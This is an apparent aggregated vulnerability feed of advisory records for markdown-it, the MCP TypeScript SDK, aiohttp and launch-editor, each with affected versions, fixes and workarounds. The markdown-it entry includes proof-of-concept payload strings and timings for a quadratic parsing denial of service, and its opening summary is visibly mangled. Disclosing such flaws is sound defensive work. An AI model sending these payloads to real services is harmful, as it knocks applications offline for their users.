GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111766&date=2026-10-25
### Summary

With `html: true`, markdown-it takes quadratic time to parse repeated unterminated HTML constructs inside a paragraph. This affects HTML comments (` `, `?>`, `>`, and `]]>`.

When the terminator is absent, matching fails. Parsing eventually reaches the next opener and scans an overlapping suffix again. Repeating this across the paragraph produces quadratic total work. For these inputs, the problem is repeated scanning across separate matches.

The payload must reach inline parsing. Prefixing it with `x ` keeps it inside a paragraph. Starting a line directly with one of these constructs instead invokes HTML block parsing, which does not exhibit the same repeated inline scans for these payloads.

The existing `unclosed '.repeat(n)],
 'HTML block': [mdHtml, '<!--'.repeat(n)],
 'Plain text': [mdHtml, 'x ' + 'abcd'.repeat(n)]
}

for (const [name, [md, src]] of Object.entries(controls)) {
 console.log({ control: name, ms: measure(md, src) })
}

const repoPayload = '</' + '<!--'.repeat(100000)
console.log({
 payload: 'Existing pathological test',
 htmlFalseMs: measure(mdDefault, repoPayload),
 htmlTrueMs: measure(mdHtml, repoPayload)
})
```

Measurements from the original report on `markdown-it@15.0.2`, Node.js 20:

| Construct | 8,000 repetitions | 64,000 repetitions |
| --- | ---: | ---: |
| Comment | 170 ms | 8,799 ms |
| Processing instruction | 26 ms | 1,566 ms |
| Declaration | 93 ms | 5,628 ms |
| CDATA | 119 ms | 4,179 ms |

An eightfold increase in repetitions produces approximately 35–60 times the execution time, consistent with quadratic growth becoming dominant.

For the comment payload at 64,000 repetitions:

- HTML disabled: 25 ms.
- Closed comments: 29 ms.
- Payload at the start of an HTML block: 1 ms.
- Plain text: 1 ms.

The existing pathological-test payload with 100,000 comment openers took 33 ms with HTML disabled and 21,030 ms with HTML enabled. A separate comment payload with 128,000 repetitions, approximately 500 KiB, took 32,847 ms.

Exact timings depend on the runtime and hardware.

### Impact

This is an availability issue affecting applications that render attacker-controlled Markdown with `html: true`, including applications using the `commonmark` preset.

On Node.js, a synchronous `render()` call can occupy a CPU core and block the event loop for seconds or tens of seconds, delaying other requests handled by the same process. Repeated submissions can cause denial of service. Browser applications can similarly become unresponsive when rendering on the main thread.

Sanitizing the generated HTML afterwards does not prevent the issue because the expensive processing occurs during Markdown rendering.

The default configuration, with HTML disabled, is unaffected by these payloads. Disabling HTML or limiting input size can reduce exposure while a fix is prepared.

The reported affected release is `15.0.2`; the full affected version range has not been established.

Affected package ranges reported by GitHub:
markdown-it: < 14.3.3
markdown-it: >= 15.0.0, < 15.0.3
Action: GitHub lists first patched versions: markdown-it: 14.3.3; markdown-it: 15.0.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MCP  TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
https://kevwire.com/record/CVE-2026-111770
MCP  TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another (Oct 20, 2026).
Messages were matched to a connection by JSON-RPC `id` alone. SDK clients number requests from 0, so ids collide in normal use.

Affected versions: `@modelcontextprotocol/server` 2.0.0 through 2.2.0.
CVSS 7.7 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-jm63-cq47-j5jp).
Sources:
GitHub-reviewed advisory GHSA-jm63-cq47-j5jp: https://github.com/advisories/GHSA-jm63-cq47-j5jp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
### Summary
In affected versions, an MCP server reached over HTTP could deliver one client's responses and notifications to another client. This happened when clients shared one stateless transport, or one `McpServer` or `Server` instance.

Messages were matched to a connection by JSON-RPC `id` alone. SDK clients number requests from 0, so ids collide in normal use.

### Am I affected?
Yes, if more than one client can reach your HTTP endpoint and your code creates the transport or the server once at startup, instead of once per request or per session. Until this release, the README examples of `@modelcontextprotocol/hono`, `express`, `fastify` and `node` showed that pattern.

Affected versions: `@modelcontextprotocol/server` 2.0.0 through 2.2.0.

Not affected:

- `createMcpHandler()` with a factory that builds a new server on every call
- stdio servers
- `@modelcontextprotocol/sdk` 1.26.0 and later

### Fix
Upgrade to `@modelcontextprotocol/server` 2.3.0 or later.

**You also need to change your code.** The SDK now refuses to be shared, so an affected app fails requests after upgrading: a second `connect()` rejects with `ALREADY_CONNECTED`, and a stateless transport rejects its second request.

Change to one of these:

- **`createMcpHandler()`:** pass a factory that builds a new `McpServer` on every call.
- **Per request:** build a new `McpServer` and a new transport inside the request handler.
- **Per session:** set `sessionIdGenerator` and keep one `McpServer` and one transport per session.

If you cannot upgrade yet, the same change fixes affected versions.

Affected package ranges reported by GitHub:
@modelcontextprotocol/server: >= 2.0.0, < 2.3.0
Action: GitHub lists first patched versions: @modelcontextprotocol/server: 2.3.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MCP TypeScript SDK: One HTTP request within the default size limit could exhaust server memory during validation
https://kevwire.com/record/CVE-2026-111768
MCP TypeScript SDK: One HTTP request within the default size limit could exhaust server memory during validation (Oct 20, 2026).
No credentials are needed, unless you authenticate requests before they reach the SDK.

Affected versions:
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-46jr-4wx8-v453).
Sources:
GitHub-reviewed advisory GHSA-46jr-4wx8-v453: https://github.com/advisories/GHSA-46jr-4wx8-v453
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
### Summary
In affected versions, servers put no limit on how many array elements and object keys they validated in one request. One HTTP request within the default 4 MiB size limit could exhaust the server's memory, and the process aborted with `JavaScript heap out of memory`.

No credentials are needed, unless you authenticate requests before they reach the SDK.

### Am I affected?
Yes, if clients you do not fully trust can reach your server over HTTP. The risk is highest for `McpServer` tools whose input contains an array or a record. stdio-only servers are not affected.

Affected versions:

- `@modelcontextprotocol/sdk` 1.3.0 through 1.31.0
- `@modelcontextprotocol/server` 2.0.0 through 2.2.0

### Fix
Upgrade to:

- 1.x: `@modelcontextprotocol/sdk` 1.32.0 or later
- 2.x: `@modelcontextprotocol/server` 2.3.0 or later

**Upgrading alone changes nothing.** The patched versions add an `McpServer` option, `maxToolInputElements`, that is off by default. Make both of these changes:

1. Set `maxToolInputElements` just above the largest input your tools need, for example `new McpServer(info, { maxToolInputElements: 10_000 })`. It counts array elements and object keys in a call's arguments. A call over the limit gets an `isError: true` result.
2. Lower the request size limit to what your tools need. The option covers tool arguments only, and the size limit covers everything else. Set `maxRequestBodySize` on the transport or `createMcpHandler()`. If you parse the body yourself, for example with `express.json()` or Fastify, set that parser's limit.

If you cannot upgrade yet, make the second change. `maxRequestBodySize` needs `@modelcontextprotocol/sdk` 1.30.1 or `@modelcontextprotocol/server` 2.1.0. Below that, use a reverse proxy.

Affected package ranges reported by GitHub:
@modelcontextprotocol/sdk: >= 1.3.0, < 1.32.0
@modelcontextprotocol/server: >= 2.0.0, < 2.3.0
Action: GitHub lists first patched versions: @modelcontextprotocol/sdk: 1.32.0; @modelcontextprotocol/server: 2.3.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AIOHTTP: Absolute-form request targets can spoof Request.scheme
https://kevwire.com/record/CVE-2026-111748
AIOHTTP: Absolute-form request targets can spoof Request.scheme (Oct 20, 2026).
An attacker sending an absolute-form request can spoof the scheme used.

If user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.
CVSS 6.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-f9xw-jh8m-3mwq).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111748&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-f9xw-jh8m-3mwq: https://github.com/advisories/GHSA-f9xw-jh8m-3mwq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111748&date=2026-10-25
### Summary

An attacker sending an absolute-form request can spoof the scheme used.

### Impact

If user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.

### Workaround

A WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies).

Affected package ranges reported by GitHub:
aiohttp: <= 3.14.3
Action: GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies
https://kevwire.com/record/CVE-2026-111749
AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies (Oct 20, 2026).
A subdomain can remove the Host-Only flag from an existing cookie to a parent domain.

A user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.
CVSS 2.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-gx76-c99x-2c96).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111749&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-gx76-c99x-2c96: https://github.com/advisories/GHSA-gx76-c99x-2c96
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111749&date=2026-10-25
### Summary

A subdomain can remove the Host-Only flag from an existing cookie to a parent domain.

### Impact

A user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.

Affected package ranges reported by GitHub:
aiohttp: <= 3.14.3
Action: GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AIOHTTP: Connector pool exhaustion via Max-Age overflow
https://kevwire.com/record/CVE-2026-111065
AIOHTTP: Connector pool exhaustion via Max-Age overflow (Oct 20, 2026).
An overflow in Max-Age processing can skip closing a connection.

An attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.
CVSS 6.9 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-6cjc-53gc-5rqm).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111065&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-6cjc-53gc-5rqm: https://github.com/advisories/GHSA-6cjc-53gc-5rqm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111065&date=2026-10-25
### Summary

An overflow in Max-Age processing can skip closing a connection.

### Impact

An attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.

Affected package ranges reported by GitHub:
aiohttp: <= 3.14.3
Action: GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AIOHTTP: Pure-Python parser request smuggling
https://kevwire.com/record/CVE-2026-111750
AIOHTTP: Pure-Python parser request smuggling (Oct 20, 2026).
The pure Python parser is vulnerable to an HTTP request smuggling attack.

If users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.
CVSS 6.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-pqxq-w44r-73xw).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111750&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-pqxq-w44r-73xw: https://github.com/advisories/GHSA-pqxq-w44r-73xw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111750&date=2026-10-25
### Summary

The pure Python parser is vulnerable to an HTTP request smuggling attack.

### Impact

If users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.

### Workaround

Switch to the default C parser.

Affected package ranges reported by GitHub:
aiohttp: <= 3.14.3
Action: GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AIOHTTP: File descriptor exhaustion in multipart requests
https://kevwire.com/record/CVE-2026-111066
AIOHTTP: File descriptor exhaustion in multipart requests (Oct 19, 2026).
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. From 2.0.0 until 3.14.4, multipart request processing can retain an unbounded number of open file descriptors. An unauthenticated attacker can consequently exhaust file descriptors with specially crafted multipart requests when a handler uses Request.post(). This issue is fixed in version 3.14.4.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-9xw5-w5jj-pvcg).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111066&date=2026-10-25).
Sources:
NVD CVE-2026-111066: https://nvd.nist.gov/vuln/detail/CVE-2026-111066
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
GitHub-reviewed advisory GHSA-9xw5-w5jj-pvcg: https://github.com/advisories/GHSA-9xw5-w5jj-pvcg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111066&date=2026-10-25
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. From 2.0.0 until 3.14.4, multipart request processing can retain an unbounded number of open file descriptors. An unauthenticated attacker can consequently exhaust file descriptors with specially crafted multipart requests when a handler uses Request.post(). This issue is fixed in version 3.14.4.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors
https://kevwire.com/record/CVE-2026-112944
launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors (Oct 20, 2026).
`launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Only apps that match all of the following conditions are affected:
CVSS 6.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-r825-w8mm-5pxw).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112944&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-r825-w8mm-5pxw: https://github.com/advisories/GHSA-r825-w8mm-5pxw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
